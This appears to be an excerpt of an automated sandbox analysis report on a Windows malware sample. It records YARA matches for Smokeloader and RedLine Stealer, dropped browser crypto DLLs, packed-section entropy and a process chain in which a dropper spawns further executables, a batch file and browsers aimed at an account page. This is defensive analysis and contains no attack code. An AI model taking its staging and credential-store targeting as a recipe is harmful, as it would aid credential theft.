Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CAED9B0	19_2_6CAED9B0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CB12990	19_2_6CB12990
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CAF5190	19_2_6CAF5190
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CB0B970	19_2_6CB0B970
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CB2B170	19_2_6CB2B170
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CACD960	19_2_6CACD960
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CADA940	19_2_6CADA940
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CB22AB0	19_2_6CB22AB0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CAB22A0	19_2_6CAB22A0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CAE4AA0	19_2_6CAE4AA0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CACCAB0	19_2_6CACCAB0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CB2BA90	19_2_6CB2BA90
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CAD1AF0	19_2_6CAD1AF0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CAFE2F0	19_2_6CAFE2F0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CAF8AC0	19_2_6CAF8AC0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CAF9A60	19_2_6CAF9A60
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CABF380	19_2_6CABF380
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CB253C8	19_2_6CB253C8
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CAFD320	19_2_6CAFD320
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CACC370	19_2_6CACC370
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CAB5340	19_2_6CAB5340
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CBBECD0	19_2_6CBBECD0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CB5ECC0	19_2_6CB5ECC0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CC26C00	19_2_6CC26C00
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CB6AC60	19_2_6CB6AC60
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CC3AC30	19_2_6CC3AC30
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CB64DB0	19_2_6CB64DB0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CCECDC0	19_2_6CCECDC0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CBF6D90	19_2_6CBF6D90
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CC8AD50	19_2_6CC8AD50
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CC2ED70	19_2_6CC2ED70
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CCE8D20	19_2_6CCE8D20
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CC00EC0	19_2_6CC00EC0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CBE6E90	19_2_6CBE6E90
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CB6AEC0	19_2_6CB6AEC0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CBFEE70	19_2_6CBFEE70
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CC40E20	19_2_6CC40E20
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CB6EFB0	19_2_6CB6EFB0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CC3EFF0	19_2_6CC3EFF0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CB60FE0	19_2_6CB60FE0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CCA8FB0	19_2_6CCA8FB0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CB66F10	19_2_6CB66F10
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CC22F70	19_2_6CC22F70
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CCA0F20	19_2_6CCA0F20
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CBCEF40	19_2_6CBCEF40
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CC668E0	19_2_6CC668E0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CC34840	19_2_6CC34840
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CBB0820	19_2_6CBB0820
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CBEA820	19_2_6CBEA820
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CBF09A0	19_2_6CBF09A0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CC7C9E0	19_2_6CC7C9E0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CB949F0	19_2_6CB949F0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CC1A9A0	19_2_6CC1A9A0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CC209B0	19_2_6CC209B0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CBB6900	19_2_6CBB6900
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CB98960	19_2_6CB98960
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CBDEA80	19_2_6CBDEA80
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CC0EA00	19_2_6CC0EA00
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CBDCA70	19_2_6CBDCA70
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CC18A30	19_2_6CC18A30
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CC66BE0	19_2_6CC66BE0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CC00BA0	19_2_6CC00BA0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CC8A480	19_2_6CC8A480
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CBA64D0	19_2_6CBA64D0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CBFA4D0	19_2_6CBFA4D0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CBEA430	19_2_6CBEA430
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CBC4420	19_2_6CBC4420
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CB78460	19_2_6CB78460
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CB545B0	19_2_6CB545B0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CC2A5E0	19_2_6CC2A5E0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CBEE5F0	19_2_6CBEE5F0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CC64540	19_2_6CC64540
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CCA8550	19_2_6CCA8550
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CC00570	19_2_6CC00570
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CBC2560	19_2_6CBC2560
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CBB8540	19_2_6CBB8540
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CBBE6E0	19_2_6CBBE6E0

Source: Joe Sandbox View	Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
Source: Joe Sandbox View	Dropped File: C:\ProgramData\mozglue.dll BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A

Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: String function: 00404610 appears 316 times
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: String function: 6CB83620 appears 35 times
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: String function: 6CAF94D0 appears 90 times
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: String function: 6CB89B10 appears 31 times
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: String function: 6CAECBE8 appears 134 times

Source: JGKjBsQrMc.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000025.00000002.2537949533.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000025.00000002.2534257510.00000000025D1000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000013.00000002.2541855344.00000000025ED000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000013.00000002.2548613207.00000000040B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23

Source: random[1].exe.17.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: cda9e1cbbc.exe.17.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: JGKjBsQrMc.exe	Static PE information: Section: ZLIB complexity 0.9998879354508197
Source: JGKjBsQrMc.exe	Static PE information: Section: lddzjshm ZLIB complexity 0.9941012402612283
Source: explorti.exe.1.dr	Static PE information: Section: ZLIB complexity 0.9998879354508197
Source: explorti.exe.1.dr	Static PE information: Section: lddzjshm ZLIB complexity 0.9941012402612283
Source: random[1].exe.19.dr	Static PE information: Section: ZLIB complexity 0.9971528014305178
Source: random[1].exe.19.dr	Static PE information: Section: lsmjcynp ZLIB complexity 0.9943861507166318
Source: RoamingJDHCBAEHJJ.exe.19.dr	Static PE information: Section: ZLIB complexity 0.9971528014305178
Source: RoamingJDHCBAEHJJ.exe.19.dr	Static PE information: Section: lsmjcynp ZLIB complexity 0.9943861507166318
Source: RoamingDBFHCGCGDA.exe.19.dr	Static PE information: Section: ZLIB complexity 0.9998879354508197
Source: RoamingDBFHCGCGDA.exe.19.dr	Static PE information: Section: lddzjshm ZLIB complexity 0.9941012402612283
Source: enter[1].exe.19.dr	Static PE information: Section: ZLIB complexity 0.9998879354508197
Source: enter[1].exe.19.dr	Static PE information: Section: lddzjshm ZLIB complexity 0.9941012402612283

Source: RoamingJDHCBAEHJJ.exe.19.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: random[1].exe.19.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@128/283@60/29

Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe

Code function: 19_2_6CB17030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

19_2_6CB17030

Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe

Code function: 19_2_004190A0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

19_2_004190A0

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9048:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:320:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Users\user\Desktop\JGKjBsQrMc.exe

File created: C:\Users\user~1\AppData\Local\Temp\0d8f5eb8a7

Jump to behavior

Source: C:\Users\user\1000003002\e0dbbf79bf.exe

Process created: C:\Windows\System32\cmd.exe "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\738B.tmp\738C.tmp\738D.bat C:\Users\user\1000003002\e0dbbf79bf.exe"

Source: C:\Users\user\Desktop\JGKjBsQrMc.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\JGKjBsQrMc.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2771088874.000001F401DCF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SELECT * FROM events WHERE timestamp BETWEEN date(:dateFrom) AND date(:dateTo);
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2771088874.000001F401DCF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: INSERT INTO events (type, count, timestamp) VALUES (:type, 1, date(:date));
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB6E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2771088874.000001F401DCF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE events (id INTEGER PRIMARY KEY, type INTEGER NOT NULL, count INTEGER NOT NULL, timestamp DATE );
Source: softokn3[1].dll.19.dr, softokn3.dll.19.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: softokn3[1].dll.19.dr, softokn3.dll.19.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.19.dr, softokn3.dll.19.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SELECT timestamp FROM events ORDER BY timestamp ASC LIMIT 1;
Source: firefox.exe, 0000001C.00000002.2771088874.000001F401DCF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SELECT timestamp FROM events ORDER BY timestamp ASC LIMIT 1;;Fy6
Source: firefox.exe, 0000001C.00000002.2771088874.000001F401DCF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: UPDATE events SET count = count + 1 WHERE id = :id;-
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: INSERT INTO events (type, count, timestamp) VALUES (:type, 1, date(:date));),
Source: cda9e1cbbc.exe, cda9e1cbbc.exe, 00000013.00000002.2570009825.000000001CCE2000.00000004.00000020.00020000.00000000.sdmp, cda9e1cbbc.exe, 00000013.00000002.2600481019.000000006CCEF000.00000002.00000001.01000000.00000014.sdmp, cda9e1cbbc.exe, 00000013.00000002.2593005293.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.19.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: firefox.exe, 0000001C.00000002.2771088874.000001F401DCF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SELECT sum(count) FROM events;9
Source: softokn3[1].dll.19.dr, softokn3.dll.19.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: cda9e1cbbc.exe, 00000013.00000002.2570009825.000000001CCE2000.00000004.00000020.00020000.00000000.sdmp, cda9e1cbbc.exe, 00000013.00000002.2593005293.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.19.dr, softokn3.dll.19.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;
Source: softokn3[1].dll.19.dr, softokn3.dll.19.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: cda9e1cbbc.exe, 00000013.00000002.2570009825.000000001CCE2000.00000004.00000020.00020000.00000000.sdmp, cda9e1cbbc.exe, 00000013.00000002.2600481019.000000006CCEF000.00000002.00000001.01000000.00000014.sdmp, cda9e1cbbc.exe, 00000013.00000002.2593005293.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.19.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: cda9e1cbbc.exe, 00000013.00000002.2570009825.000000001CCE2000.00000004.00000020.00020000.00000000.sdmp, cda9e1cbbc.exe, 00000013.00000002.2600481019.000000006CCEF000.00000002.00000001.01000000.00000014.sdmp, cda9e1cbbc.exe, 00000013.00000002.2593005293.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.19.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: cda9e1cbbc.exe, 00000013.00000002.2570009825.000000001CCE2000.00000004.00000020.00020000.00000000.sdmp, cda9e1cbbc.exe, 00000013.00000002.2600481019.000000006CCEF000.00000002.00000001.01000000.00000014.sdmp, cda9e1cbbc.exe, 00000013.00000002.2593005293.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.19.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: cda9e1cbbc.exe, 00000013.00000002.2570009825.000000001CCE2000.00000004.00000020.00020000.00000000.sdmp, cda9e1cbbc.exe, 00000013.00000002.2600481019.000000006CCEF000.00000002.00000001.01000000.00000014.sdmp, cda9e1cbbc.exe, 00000013.00000002.2593005293.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.19.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.19.dr, softokn3.dll.19.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: firefox.exe, 0000001C.00000002.2771088874.000001F401DCF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SELECT timestamp FROM events ORDER BY timestamp ASC LIMIT 1;;
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SELECT sum(count) FROM events;
Source: softokn3[1].dll.19.dr, softokn3.dll.19.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.19.dr, softokn3.dll.19.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: firefox.exe, 0000001C.00000002.2771088874.000001F401DCF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SELECT sum(count) FROM events;9'
Source: cda9e1cbbc.exe, 00000013.00000002.2570009825.000000001CCE2000.00000004.00000020.00020000.00000000.sdmp, cda9e1cbbc.exe, 00000013.00000002.2593005293.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: cda9e1cbbc.exe, 00000013.00000002.2570009825.000000001CCE2000.00000004.00000020.00020000.00000000.sdmp, cda9e1cbbc.exe, 00000013.00000002.2600481019.000000006CCEF000.00000002.00000001.01000000.00000014.sdmp, cda9e1cbbc.exe, 00000013.00000002.2593005293.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.19.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: UPDATE events SET count = count + 1 WHERE id = :id;
Source: softokn3[1].dll.19.dr, softokn3.dll.19.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2771088874.000001F401DCF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SELECT * FROM events WHERE type = :type AND timestamp = date(:date);
Source: cda9e1cbbc.exe, 00000013.00000003.2303862341.0000000022DE5000.00000004.00000020.00020000.00000000.sdmp, cda9e1cbbc.exe, 00000013.00000003.2300358229.00000000230F5000.00000004.00000020.00020000.00000000.sdmp, cda9e1cbbc.exe, 00000013.00000003.2240068499.00000000230D9000.00000004.00000020.00020000.00000000.sdmp, AEGIJKEHCAKFCAKFHDAA.19.dr, KJEHJKJEBGHJJKEBGIEC.19.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: cda9e1cbbc.exe, 00000013.00000002.2570009825.000000001CCE2000.00000004.00000020.00020000.00000000.sdmp, cda9e1cbbc.exe, 00000013.00000002.2593005293.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);

Source: JGKjBsQrMc.exe	Virustotal: Detection: 49%
Source: JGKjBsQrMc.exe	ReversingLabs: Detection: 44%

Source: JGKjBsQrMc.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorti.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorti.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorti.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\JGKjBsQrMc.exe

File read: C:\Users\user\Desktop\JGKjBsQrMc.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\JGKjBsQrMc.exe "C:\Users\user\Desktop\JGKjBsQrMc.exe"
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	Process created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe "C:\Users\user~1\AppData\Local\Temp\0d8f5eb8a7\explorti.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe C:\Users\user~1\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe C:\Users\user~1\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe "C:\Users\user~1\AppData\Local\Temp\1000002001\cda9e1cbbc.exe"
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process created: C:\Users\user\1000003002\e0dbbf79bf.exe "C:\Users\user\1000003002\e0dbbf79bf.exe"
Source: C:\Users\user\1000003002\e0dbbf79bf.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\738B.tmp\738C.tmp\738D.bat C:\Users\user\1000003002\e0dbbf79bf.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.youtube.com/account"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" "https://www.youtube.com/account"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" "https://www.youtube.com/account"
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
